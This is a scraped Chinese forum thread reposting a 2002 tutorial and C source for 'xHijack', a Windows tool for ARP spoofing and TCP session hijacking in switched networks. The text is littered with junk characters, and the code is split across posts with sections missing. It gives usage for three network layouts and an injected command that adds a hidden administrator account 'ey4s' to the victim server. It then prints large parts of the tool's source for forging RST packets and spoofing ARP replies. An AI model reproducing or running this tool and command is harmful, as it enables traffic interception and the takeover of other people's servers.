QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4260|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |正序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
+ I0 h0 S' J( z, t6 z/ u8 h) QHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 # Y& f+ L4 c/ r+ v" `9 F" A# Q
第二步是ARP欺骗,具体原理我就不说了。
! c: o9 G" R5 t. P& }, B第三步就是开始劫持啦。
8 H; j: ~$ Q2 z* F: e7 F+ M2 ?9 l7 r) P, X7 `
我写了个程序xHijack可以实现第二、三步功能,使用如下: # U1 x3 Q" X5 O& a) T$ I( f" T
4 H; L- J* O  k# b$ Y3 U2 D" q  ]7 ]
Usage: xHijack ServerSide ClientSide
( ^# w5 i+ B4 n2 q* Q9 P
* m7 F9 r+ G3 ?1 _* [$ \0 g/ Q下面根据三种不同的情况分别说明如何输入参数:
6 G8 t' \. c1 w4 C: S<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
* O) |" @9 c, f, G7 `) F假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 . p5 L3 Q. |2 V* k! x0 N! I
c:\>xHijack 192.168.0.2 192.168.0.3
3 {: v) O0 y. {  H1 F劫持前数据流程:server <--> client ! O* @8 {& i( K/ m' y
劫持后数据流程:server <--> hijacker <--> client % Y6 w2 w: F' h' L5 O6 {1 M& ~% ]

4 r1 A& u9 H) k8 |* e8 i3 L<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 % o: m6 j; [  x5 O; M
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
6 f: `/ \8 L. q3 G1 @% Q5 i: IxHijack 202.202.202.2 202.202.202.1
; m* D; B7 J% \0 ]9 @  g& ?6 H劫持前数据流程:server <--> gw <--> routes <--> client
: D3 G$ i: S. X/ h4 u" x劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client 4 X% u) D+ b8 V1 v6 k9 E

. y; D$ p2 w0 L<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 6 h, J$ y+ Z: H* Z' u+ @
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
. e( _2 e7 z7 c, _" l  sxHijack 192.168.0.1 192.168.0.2 # ^! v6 b2 x7 N% t$ \0 s  M
劫持前数据流程:client <--> gw <--> routes <--> server
/ X, v- F( ]% W0 e# D劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server 8 ~! v& v( x& T4 g5 G# F
! n9 a: ^  p  v) E) {* v
输入两个参数后,会提示你选择网卡,然后会提示
- _9 v1 W9 e9 U. r% k% I! il        <-- List all connections
6 u  o3 S. W& J* R7 N3 J9 Qr x       <-- Reset the number x connection
/ x' `" ?) g: y2 Cw x       <-- Watch the number x connection 6 W7 w4 y2 k1 z! U4 f1 J
h x command   <-- Hijack the number x connection to execute command
7 p0 T. h$ r2 _  ?( C( V; T8 N( J
list、reset、watch命令我就不解释了。 : i3 m9 k8 ]) Y0 X/ c! J
假如现在有如下连接
4 {0 j; f" r# Q; @3 S(1) 202.202.202.202:23 <--> 192.168.0.3:2345
$ b' w4 o: J' A- ]我们想要劫持这个连接运行我们的命令,输入 # l. V6 P  m; Q) ?/ x
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" 6 ^) j+ z& V2 \% w4 l, a, S# K
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 6 E) }, [& M4 K. q
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 # {, |  |* \  r3 n# F
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
- d7 p1 W$ Y7 t: `- j2 g) C0 t9 `- K. G, o
劫持的流程如下:
, R. t' Q( o3 h<1>伪装成Server给Client发一个rst包
2 ?; L* Y! {' o4 }  ~1 a, Z2 A2 S% B<2>伪装成Client给Server发了一个数据包
% i! r# y" k: i+ m- T* a<3>Server回一个ACK包给client - _; ~+ [: ]' E! g4 a
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server # I4 q& k& A& W) w/ h- f8 K

4 M" V- Y. _+ S, D( h, ^这样的话,我们只能发一个伪造的包,但我想已经足够了。
; b3 i+ `3 M. p1 ]$ f% _: B; U想要一直劫持那个连接也可以,如下
. }9 @. z' W# O; x<1>伪装成Server给Client发一个rst包
6 z! ]; s2 q7 [. G% M<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA " i6 c; x9 Q7 w$ |
<3>伪装成Client给Server发了一个数据包
: |8 `4 H! @& ?8 y7 e, l) _. `<4>Server回一个ACK包给client
; B2 A' S  ~) U; r0 t* O8 b# I<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
9 n9 t6 n: q# ?5 k$ v9 t<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 : J( E: `  w& a' l) I9 x
. v- U3 t) L1 J4 l( ^* W& N9 ^; J
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
0 N7 X  a) _1 J( A8 S- i- h9 {2 ]  s" N, S4 H' C" t3 |) Y+ s* G

, f  [" K0 l1 ?刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, ) w, |- b& D- T) g: O3 J* A7 y
还请各位多多指点。
7 o* K% M( M& q, e8 P/ h( ^' A  q5 F
BTW:我没有空间,编译好的程序没地方放:(
" Y+ u* ~7 r3 i7 Z! Z( J0 A) @. S+ a8 ?

7 n9 M& H9 f1 z* m4 j. U, P* g" O/ `9 ^) o* o2 |  N* p
参考资料
5 v+ m# {! `5 ]' C( N$ _  S<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 + Y! ~9 n2 v* Z4 W: g* j
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
* x' P9 _8 h- P. r: L" _2 k, o% Q  ]* S4 J2 k

# @! `& q  Z  x+ b8 o: L以下是程序代码
. Y  r% {" ^5 y----------------------------------------------------------------------
% T3 S' _3 C# b% ?& f/*-----------------------------------------------------------------------------
5 a; C. a* E3 t/ ]- O' r6 i3 M/ A5 EFile      : xHijack.c
5 b9 F7 u4 t" N1 {& A) G, P: W/ L; f) WVersion      : 1.0 + ~$ w9 @' r! ~
Create at    : 2002/8/12 * j& `. |0 F6 K8 m
Last modifed at  : 2002/8/19 : ]9 m$ a. V* T' U" @
Author      : eyas
& t3 G0 `: J% O4 IEmail      : ey4s@21cn.com 7 i( @  L" q# z0 O" O' a7 r6 h
HomePage    : www.ey4s.org
0 p1 w$ d3 w' h5 b0 `& `( K感谢refdom和shotgun发布的源代码,使我获益非浅。 ( O. E* l9 b$ E
If you modify the code, or add more functions, please email me a copy. + @% W* w* x$ x7 w0 S4 Q

. I& x5 n( E" P) q1 E备注:
2 h/ Q5 c& {- N* E<>没有考虑IP头、TCP头超过20字节的情况
: f2 \& e0 S, {<>没有考虑数据包分片的情况
6 j3 v8 E; B. f# L6 ~" ]% T<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
4 E# Z; Z3 m- a6 ~显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
" `" c* ~. t2 G" c题了。
7 I. R2 a: b" e8 S5 k7 r! {" ^  \  E2 y* {+ z4 ~/ R
也许下一版本会修正这些问题,也许不会有下一版本了。 * M% |: ?( \- P" S# a" k2 n9 e) C

5 b+ i' k9 E# `; `0 z/ `  X) C- }9 y-----------------------------------------------------------------------------*/
! M' u& v. Q$ l# E+ F#include : h1 O+ q( S& Z3 V5 |4 A
#include 0 V. K* K$ g  ]+ @7 l- L/ e
#include
6 H+ F1 E" r) |  T* W#include
8 v7 P4 v& T) i: }5 X#include
4 `& `3 z6 Y/ o+ U#include
- z5 m7 M9 ~$ J4 m; ^$ p; ]! I#include 4 ^- Z' g( \2 s4 N
2 ?$ C2 v/ `6 Y1 ?% q4 i
#pragma comment (lib, "packet") ! L% ^# m& a, j; S! B; B6 c6 y* J8 j
#pragma comment (lib, "iphlpapi") 2 f; F3 |! s3 ?; m
#pragma comment (lib, "ws2_32")
9 x6 Q3 ^, f: t. S' D1 _% j2 b' E
#define Max_Num_Adapter 10
+ f% d7 R& L; o  S0 S0 G8 a#define Max_Num_IPAddr  5 - S2 h* E% N( l5 }$ c+ j$ B
#define EPT_IP      0x0800      /* type: IP  */ 1 C" h# ]+ y' C# ~7 c. g/ G
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
" u% a4 o7 T# V/ M#define EPT_ARP      0x0806      /* type: ARP */
- n  h. I" W( A4 \7 m: x: {
/ S$ d2 u0 C  B- Z#define  ACTION_NONE    0 5 ^1 C( _0 w' _8 V% `! {2 n6 @
#define  ACTION_WATCH  1
1 f: o0 x3 P6 f3 {# |! |#define  ACTION_RESET  2 ! l7 E+ z+ @0 m5 K
#define ACTION_HIJACK  3
! v" N4 I% b) B5 `( v1 ], m5 l& @/ K( l
/*以1字节对齐*/ 5 k* `1 e' Y% I0 D$ h% B
#pragma pack(1)
( P( F9 S; i3 {' ^4 r  I& P. Htypedef struct _ehhdr ' O8 p- e) [$ a+ E
{
. v. v& `! W! ?0 ]( T  unsigned char  DestMAC[6]; & p  n' ]7 Q# ?* X
  unsigned char  SourceMAC[6];
% E3 s6 d4 l5 {& z! `$ i+ X  unsigned short  EthernetType;   E9 j  f% a4 w; E& {
}EHHDR, *PEHHDR;
8 C4 U' k( _% A9 O! S! X/ I5 f% b
% x: d3 v2 I% f2 u% w( Ktypedef struct _iphdr        //定义IP首部 9 W1 i0 Q$ d+ c4 R) T
{   t$ E0 }+ e& h; p* l: a* L
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 ! r4 o. o( s# }8 I
  unsigned char tos;        //8位服务类型TOS
: y! E9 |! F0 V/ i) ?  unsigned short total_len;    //16位总长度(字节)
! h) G) m' k5 _9 W  unsigned short ident;      //16位标识 ( V4 N1 f1 ]. l% A5 g- o
  unsigned short frag_and_flags;  //3位标志位
+ D( x: \$ v1 K' E) ^( i/ p  unsigned char ttl;        //8位生存时间 TTL " {* _8 V2 }( l; e
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) - S' @; @) y5 L2 B) C  Z4 ^9 l
  unsigned short checksum;    //16位IP首部校验和 ' e$ n4 w) d' ~
  unsigned int sourceIP;      //32位源IP地址 $ z& s4 A" e# s6 u( S
  unsigned int destIP;      //32位目的IP地址 , M  ~* s$ k; J7 C7 ^$ p% K; {
}IPHDR, *PIPHDR; 7 B' \, i+ O6 x. p

/ t9 y8 p- m) j, M3 B: \; Ftypedef struct _tcphdr        //定义TCP首部
0 n; y5 S( e- M4 D$ ^{
$ l# z8 N7 U/ O( L5 [" m  USHORT th_sport;        //16位源端口 2 a- ]6 m1 {# n2 |
  USHORT th_dport;        //16位目的端口
: m5 f% V4 O" l! V3 x. l  unsigned int th_seq;      //32位序列号
' H! L3 h+ H& e% s+ u3 x  unsigned int th_ack;      //32位确认号 7 E( L/ m8 G4 Z5 z, |' b6 p
  unsigned char th_lenres;    //4位首部长度/6位保留字   O+ w9 g# M, `% a; ?, x
  unsigned char th_flag;      //6位标志位
6 \0 i5 w8 I0 `& k  USHORT th_win;          //16位窗口大小
4 U" L8 N4 f- Z  `- o  USHORT th_sum;          //16位校验和 ! G( n* z* l0 @& d
  USHORT th_urp;          //16位紧急数据偏移量 $ [- H/ N0 X1 v; R
}TCPHDR, *PTCPHDR; ' w) y1 w) n- [' E, |* y2 H2 Y5 E+ z7 j
! V6 n" K) z- ^
typedef struct _psdhdr        //定义TCP pseudo header
' Z& b) N2 y* r- O" ^9 m2 j{               
5 C& j/ X" O8 b8 E7 b  unsigned long saddr; $ a) x  B4 ]9 R* H& v5 F3 C
  unsigned long daddr; / y# x. x  p( w! a0 X' D9 a
  char mbz;
) ?, n7 f- i5 k, j" T  char ptcl;
" b  ?0 ~) {. K3 G5 s  unsigned short tcpl;
% U- F8 Z1 Q, u3 O5 U9 b- w}PSDHDR, *PPSDHDR;
& }* U/ y6 u( G0 ~4 ^7 y! K1 I
typedef struct _arphdr
; n- _( s% p" _3 I. _( l{ 9 f0 s4 R( e: n
  unsigned short  HrdType;//硬件类型
/ @0 t' n& o- R5 z  unsigned short  ProType;//协议类型
+ U: {* ~2 b& F, G% j1 P# s  unsigned char  HrdAddrlen;//硬件地址长度 1 E. t& Q9 V0 q$ |. x
  unsigned char  ProAddrLen;//协议地址长度 + D! _2 Z" F: N' `: ?& A( |
  unsigned short  op;//operation
8 T7 a3 l, Q- \  unsigned char  SourceMAC[6];/* sender hardware address */ 7 E5 P  s0 m0 |' I
  unsigned long  SourceIP;/* sender protocol address */
& f: U! f; i3 |- a  unsigned char  DestMAC[6];/* target hardware address */
& @8 z6 @3 d$ \  unsigned long  DestIP;/* target protocol address */
' [9 b- n5 K" E" |6 J0 X0 K" Y}ARPHDR, *PARPHDR; + ~9 ^( [* Q. o$ ~& G
5 i- E% Q4 a' H+ K
typedef struct _ArpPacket , v3 p* I4 S: d
{ 8 {! _) z# j) w0 z, M
  EHHDR  ehhdr; * }. p+ E2 H6 s) [. Q- V4 U0 B/ h
  ARPHDR  arphdr; , D- ?* h- [: }6 U% y7 Z6 ^
}ARPPACKET, *PARPPACKET;
, O0 x- D+ o6 C8 [  f6 ^
7 i* r8 m) `* r  L7 }typedef struct _tcppacket
, V# H1 d7 p2 f# [( z  B{
7 b  N7 i, W4 Z. I' [  EHHDR  ehhdr;
" Z( N6 e, v5 W) |9 e* ^5 u' P7 d  IPHDR  iphdr; . y' s% z5 a- ^; G& I1 h8 r; j
  TCPHDR  tcphdr;
9 t( H3 {  E' q/ I7 _# x6 f}TCPPACKET, *PTCPPACKET; 5 D* p6 d. z$ }6 Z
3 N; N9 E7 _: V) v! q7 N7 z! x# J/ n
typedef struct _conninfo ! w) [9 e- R1 L+ b" h
{
. ]0 x+ d7 k) _  z  DWORD  dwServerIP;
. i* d. W" H& c: O  USHORT  uServerPort;
  P1 n1 D6 k( M, s. J4 W, j% V$ b  DWORD  dwClientIP; 8 L: S9 r2 O& S. |# o9 c, @
  USHORT  uClientPort; # F# c4 m# ^+ I$ ~0 E( ?6 x
  DWORD  ident;//标识 / y' {& M, R( N( v. w4 o: p( S( C' ?
  BOOL  bActive; 0 D# |- j; _4 ^  `7 r
  struct  _conninfo  *Next; ) ]! j& R" ~( C2 I' Z
}CONNINFO, *PCONNINFO; 6 ^- f1 r/ q! c' I$ L+ s

* ?+ v; U- ]6 m  {//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    __finally ! `( H( p  r+ i$ I8 e
      {
    2 ?. Y8 n' T  |. f% W# r3 ?    if(pHiJackPacket) free(pHiJackPacket); 2 Q+ H. C$ p3 R$ E: v- Y
      }
    5 [% |6 R" w9 z3 n, l5 j' f6 a  t  return bRet;
    - Q# y, O: @' ~% |} - c  e+ u) f1 o" ]) @# {( K
    : E" }* J- T9 c1 z- V

    0 F- H$ p; @1 B# F& `3 q+ w' j//
    ( x% T0 e% I+ B3 ]//功能:伪装成Server给Client发送rst包 % j9 d% e/ b) Z% @6 Q0 i
    // % u0 f  r. K* r/ G/ l6 [
    BOOL SendRstPacket(unsigned int seq, unsigned int ack)
    7 P+ b2 {$ [  M0 b8 E7 Z{
    / M* L8 w& N3 R/ o0 ]5 d/ @  char    szBuff[60]; ( V7 g' B* z( }* g2 u+ F
      PSDHDR    psdhdr;
    / R7 X; z; T5 P; @! m, S  PTCPPACKET  pTcpPacket = NULL;
    3 f' F6 m0 t6 f/ H+ E$ S) e  BOOL    bRet = FALSE;
    0 `+ I) Z; Q1 x4 k( ?; E
    * E. p1 B9 x" t6 M" y9 T: K  __try " X; ?; G. G- A8 P
      { 3 D0 W) P6 z( ?) c( R
        //检查当前指向想控制的连接的信息的指针是否为空 3 p6 a4 g2 b9 B6 h
        if(!g_pCurrCtrlConn) __leave;
    0 ?6 G. @' @9 i5 r9 }1 W    //allocate memory for rst packet
    ( b! ^8 m/ {1 G    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    2 C& x0 }" V( {% ^! I1 |& M    if(!pTcpPacket)
      U0 T$ p. ~( f8 C8 P" Y: o    { 5 _( z' x$ O; m8 K- o" K
          printf("malloc error:%d\n", GetLastError());
    . o8 P- ]2 G* F      __leave;
    2 f4 G# z' D' A8 o1 g    }
      {7 T: x8 l. N7 e    //fill ethernet head
    , n. I& Z" g7 t" {1 v; }    memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
    * I! n) J' e. @+ {' i$ f! P- S$ J    memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
    8 K3 E) M7 ]; J! V    pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
    ; l5 v9 e" p/ h" l4 r, _0 b    //fil ip head ' E/ O/ P. z4 f2 ^# E5 V! H6 S+ h
        pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
    * X* v  T4 U2 K# W# Q% j    pTcpPacket->iphdr.tos = 0;
    ' ^; ^2 `8 _8 C% v5 X5 M# Q& C: E9 \    pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    + F; M9 k) U- ~) u( B    pTcpPacket->iphdr.ident = 1;
    : f" D" W% I. ?3 d    pTcpPacket->iphdr.frag_and_flags = 0;
    1 {. w2 A2 ^; p& w    pTcpPacket->iphdr.ttl = 128;
    : |' n/ ?5 _0 M0 \( ]1 h2 A0 t% o, v    pTcpPacket->iphdr.proto = IPPROTO_TCP;
    $ j' g+ W$ g2 g9 i( [    pTcpPacket->iphdr.checksum = 0; % F+ ~7 e) n, m! E4 w
        pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的 7 O' k) t6 F: w/ s
        pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
    ) w" Q# r5 O6 V! P/ X6 |    //fill tcp head
    % Q- }6 g. x1 t& @: v& e2 p    pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
    ' W; P' H6 f* u& s1 ]* Q0 J+ d    pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口 " c. O- S: H* x- E0 a
        pTcpPacket->tcphdr.th_seq = seq;//SYN 4 V, f7 B( `3 @' c/ w$ Z
        pTcpPacket->tcphdr.th_ack = ack;//ACK 3 K/ j9 N; N8 Z# r
        pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
    # f7 t! c5 m3 @9 t    pTcpPacket->tcphdr.th_flag = 4;//RST flag 3 k, }( r4 D. h$ R9 ]
        pTcpPacket->tcphdr.th_win = 0;
    ' M0 p6 [. G7 N/ Q! b; X    pTcpPacket->tcphdr.th_urp = 0; " X9 l6 K( X7 P6 l# D
        pTcpPacket->tcphdr.th_sum = 0; 1 }* R) z# I! ]8 g! U; f0 a
        //fill tcp psd head
    & D5 E9 M( I. u+ b9 @# m4 V    psdhdr.saddr = pTcpPacket->iphdr.sourceIP;           
    1 u: V, b) y+ ^9 b) ~5 F# J    psdhdr.daddr = pTcpPacket->iphdr.destIP;           
    9 @( M( ^' P( K8 t8 m% E" o+ f4 Y8 s    psdhdr.mbz = 0;
    & e6 w' O! v% I9 o" J- `# ?/ Y! d    psdhdr.ptcl = IPPROTO_TCP;
    : S& N. }+ ^  B( Q% }    psdhdr.tcpl = htons(sizeof(TCPHDR));
    + x, ^( g4 }' I' a3 G0 r% Q    //calculate tcp checksum     
    2 ~8 \( [7 b/ z+ J9 y    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   / ^% t! f0 [, o4 e3 Z% i
        memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));   a% c9 Y' J( Y
        pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); + l/ j$ J0 c% F5 t5 p
        //calculate IP checksum 6 V/ L: i$ _! ~
        pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR)); 9 C+ C$ T  x  s+ O: D6 Q7 b
        //fill send buffer 3 q5 _- w' a6 H: s  B
        memset(g_lpSendPacket->Buffer, 0, 1514);
    , k; o! \, `! Y9 F  H0 v! _0 d    memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); * i9 Q4 S& _7 Y  _1 t9 d1 i
        if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) - O: s6 W( s- g
        {
    9 Q1 ?1 `$ o; n7 z& b      printf("Error sending the rst packets!\n");
    0 @! t% }/ F- M* R      __leave; , J. i8 y2 Y3 K+ x* l' I: q
        }
    ! z. z8 W  {! \( s5 M! W8 W) U    else printf("Send RST packet ok!\n"); 2 k2 G$ M( d1 n2 u" E5 w, V" M9 \+ w" ^
        bRet = TRUE; ) i8 m6 ]8 B. m! G% J
      }
    & h$ a$ E+ s) ~8 Q* z! C  __finally
    : c) u% V4 ^) N2 b+ D6 w7 ~* R  {
    8 d( s. u) h8 g" c4 }. L9 l    if(pTcpPacket) free(pTcpPacket);
    + V7 `& h" H7 t  }
    9 ]+ O% ~# e+ U/ C  return bRet;
    0 e; L7 \4 V7 c9 q+ ?$ N3 a} & F1 d4 f6 L6 J2 \: r

    7 w2 [7 Y! I4 }( h: z* o! d//   h9 w4 y1 |: ]4 k" W" q7 {- Y
    //功能:计算校验和 5 [" f% q2 j+ J% U  D$ }% K5 ^
    //
      s+ \3 a) W+ f7 V/ DUSHORT checksum(USHORT *buffer, int size) # O! B7 J& H! s9 T1 p" g
    {
    & H' C( u# \0 A* w unsigned long cksum=0; 2 t& v- [; Z2 L8 A7 K( H  Y
    while(size >1) { 0 Z0 ?! m3 s! r% Z5 P
      cksum+=*buffer++; ( j0 J$ ~' y4 f4 x9 ~. {
      size -=sizeof(USHORT); , G! G$ h+ |$ M+ i- Y( v, T8 h
    }
    6 h9 V) W1 C- a. C1 E4 u if(size ) {
    / P( H' Y+ _/ F! {- i$ i- T8 i  cksum += *(UCHAR*)buffer; 9 v/ `  k3 q% |1 g8 F3 n9 U
    }
    2 s3 ^5 s2 J2 b& L: v' L9 ~) b% ` cksum = (cksum >> 16) + (cksum & 0xffff);
    0 }2 }" K# j# A5 a" i3 e/ l) z! B cksum += (cksum >>16);
    6 V" h; |- z* u9 r  V" Z8 I return (USHORT)(~cksum);
    5 G: {5 u% J) O9 P}
    6 G9 n- X6 k* @7 G2 \
    ' d4 h  l9 z6 L3 {8 T1 l+ V7 {//
    $ d" T7 O5 J2 q+ @! s0 j8 [+ N9 L//功能:实施ARP欺骗
    + h. ?" Z1 D6 M6 ?//1 告诉ServerSide,ClientSide的mac是ownmac
    ; \* D) }/ Y- n% v! h//2 告诉ClientSide,ServerSide的mac是ownmac % w, T( L6 a' u; B
    // . `( s7 ]4 [* e, \  T  p
    DWORD WINAPI ArpSpoofThread(LPVOID lpType) / n4 E; u5 k& R6 \) d# z
    {
    5 d& m0 n7 }) J( C- u  int  iType = *(int *)lpType;
    8 H* G: r# g8 [: H+ Q  X  ARPPACKET  ArpPacket;
    4 {4 `6 i5 [; O% v( x1 ]2 ~+ N( H  LPPACKET  lpArpPacket;
    - G, c/ h+ u$ L2 C" @8 d: J4 ]  char    szArpBuff[60];
    1 v1 V5 f7 y* D3 Q% D5 H& a% B3 T$ l& S
      switch(iType) 8 l; I3 s& |8 R4 }' [. _* B
      {
    ; C1 h% [! a- [    case 1: / z5 S7 _% g) ]8 u3 j! b" Q
          memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);   u, I1 I; p# b
          ArpPacket.arphdr.DestIP = g_ServerSideIP;
    4 X* z( u" u+ x* c+ v- K( l      ArpPacket.arphdr.SourceIP = g_ClientSideIP; 7 u- T0 ^- a7 i2 W
          break; " E3 l4 ~& i4 G
        case 2: ; X/ L5 M% K7 G$ e  A+ e* _7 O
          memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
    ) d9 p* a; G: \$ o' B- U      ArpPacket.arphdr.DestIP = g_ClientSideIP; 3 B; ]& y% M* N8 D
          ArpPacket.arphdr.SourceIP = g_ServerSideIP;
    " }: G9 T9 m3 ~, e6 f      break; . p" ]% S- p! B, _0 T5 t8 l
        default:
    ; s! }* X! c) D$ t# Q      return 0;
    / s( F: `4 O- {& V8 i  }
    / u8 @1 M2 ?3 q  //ethernet head 2 H: v. h. \1 e; B& ^
      memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
    * O8 A/ f5 _0 @  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
    ! V3 g+ T9 n( E- S  //arp head
    * W$ y: W) e% L" X9 @' X  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
    # n1 Y; P0 J# k$ A1 M  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
    - X" I& O7 @1 A( l' i1 y  ArpPacket.arphdr.HrdAddrlen = 6;
    4 n( i/ R! B8 ~  ArpPacket.arphdr.ProAddrLen = 4;
    # r8 W, @$ a/ w0 E  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
    ) l( k) w( J( j7 W5 P$ @  ArpPacket.arphdr.ProType = htons(EPT_IP); $ j# H# U) o& G! O" h2 k0 Z9 H( z+ [
      ArpPacket.arphdr.op = htons(2);//arp reply 3 p: }" t9 D5 @2 {/ E
    2 Y! y' K# ~1 f7 j4 M
      lpArpPacket = PacketAllocatePacket();
    $ y' W! L7 w, g  d  if(lpArpPacket == NULL) 6 Y3 g" |# g1 g3 H2 D
      {
    + m3 c+ c( I% z. A* E    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    # G1 z) ?% p4 r$ o    return 0;
    % u* F" K4 U9 e+ x* E/ g  }
    * o& e! Z; V# q  memset(szArpBuff, 0, sizeof(szArpBuff));
    # s- L. z# Z0 A% o  C  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); , h  q5 q8 k6 h
      PacketInitPacket(lpArpPacket, szArpBuff, 60); ) W- c: ?2 V" S% y; n3 y# W
      //send arp packet - ~8 R' c, r) R! t5 H
      while(1) 7 b' O  L2 k* J. J( p1 Q  K
      {
    ; J, g* b* @8 F7 L    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) * \% |8 h* B$ q1 n! q' N. T
        { + R0 [7 }9 J: k* `7 L: a! o
          printf("Error sending the arp spoof packets!\n");
    ( G( D; X% B, N      return 0;
      v# A* u0 x! }6 l3 E  j1 a    } 0 }/ l+ u; d% N* w! y
        Sleep(1000); . U4 q" W$ N( X1 O) O
      }
      k  O' P% j9 L8 Y! v" X# e* J  return 0; 1 c. {# E8 y# c
    }
    : _# {8 Y1 u1 {( M% h5 A, {7 K, J- [9 `# Y' O
    //
    1 @+ S( T+ V; I2 N//功能:输入IP取得对应的MAC地址 0 `% b* s; e! m: G" S. O) a5 C
    //
    + ?2 Q) k' y' [. S; N- J# e: L  dBOOL GetMACAddr(DWORD DestIP, char *pMAC) 3 U: `. ~& }' x
    {
    * S( M6 ]% x! i3 o, y& w6 p/ @& d  DWORD  dwRet; 0 o3 u$ i% p4 {# C- p
      ULONG  ulLen = 6, pulMac[2]; 7 h) Y  s+ U( J3 v) N% Q, o
      dwRet = SendARP(DestIP, 0, pulMac, &ulLen); * Y9 ?( n+ ]5 A" g8 v
      if(dwRet == NO_ERROR)
    - E8 k1 \" y+ j3 c* l  {   M. m$ a- U+ |( ^
        memcpy(pMAC, pulMac, 6); 0 N# @) Z* [# C1 g( n7 z1 L
        return TRUE; , c0 Q  u7 C  ^9 [% X0 S1 ~: [
      }
    6 j5 P6 F* y. U$ {  else return FALSE;
    / |3 ]4 n& i( z; S3 S' W! e* g) ?! O}
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); % [" y3 X" m6 G& S
                //reset action flag
    8 B0 f5 l! j2 Q3 J! y' i8 b) n            ResetActionAllFlag();
    & U6 O! u- W' l1 P4 M3 Z  m. ?          } 6 b+ R) a9 T) p' N4 m/ e$ ?; S
              //start hijack
    * Y) _7 k* f* k, b$ G' G4 t# N+ t3 @          else if(g_dwAction == ACTION_HIJACK)
    / v* j5 M8 I# ]3 h          { ' S5 d) ]) J, e$ y# ]) m% \& ?
                //send rst packet to client
